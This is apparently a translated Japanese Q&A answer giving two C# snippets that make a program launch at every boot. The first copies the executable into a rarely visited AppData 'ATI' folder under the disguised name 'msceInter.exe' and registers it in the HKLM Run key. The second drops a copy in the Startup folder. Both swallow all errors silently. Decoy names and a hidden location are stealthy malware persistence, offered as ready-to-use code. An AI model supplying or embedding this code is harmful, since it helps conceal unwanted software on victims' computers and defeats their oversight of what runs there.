それは実際には非常に簡単です。これを行うために使用できる 2 つのコード スニペットを次に示します。これにより、ほとんどアクセスされないフォルダーにプログラムがコピーされ、コンピューターのレジストリを使用して、コンピューターの起動時にプログラムが開かれます。
注: 念のため、try ステートメントと catch ステートメントを使用します。常に使用する必要があります。
public static void AddToRegistry()
{
try
{
System.IO.File.Copy(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\ATI\" + "msceInter.exe");
RegistryKey RegStartUp = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
RegStartUp.SetValue("msceInter", Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\ATI\" + "msceInter.exe");
}
catch { }
}
ここでスタートアップに追加します(ファイルをスタートアップフォルダーにコピーします。[スタートボタン]> [すべてのプログラム]> [スタートアップ]が見つかります)
public static void AddToStartup()
{
try
{
System.IO.File.Copy(Application.ExecutablePath, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + @"\" + "msceInter.exe");
}
catch { }
}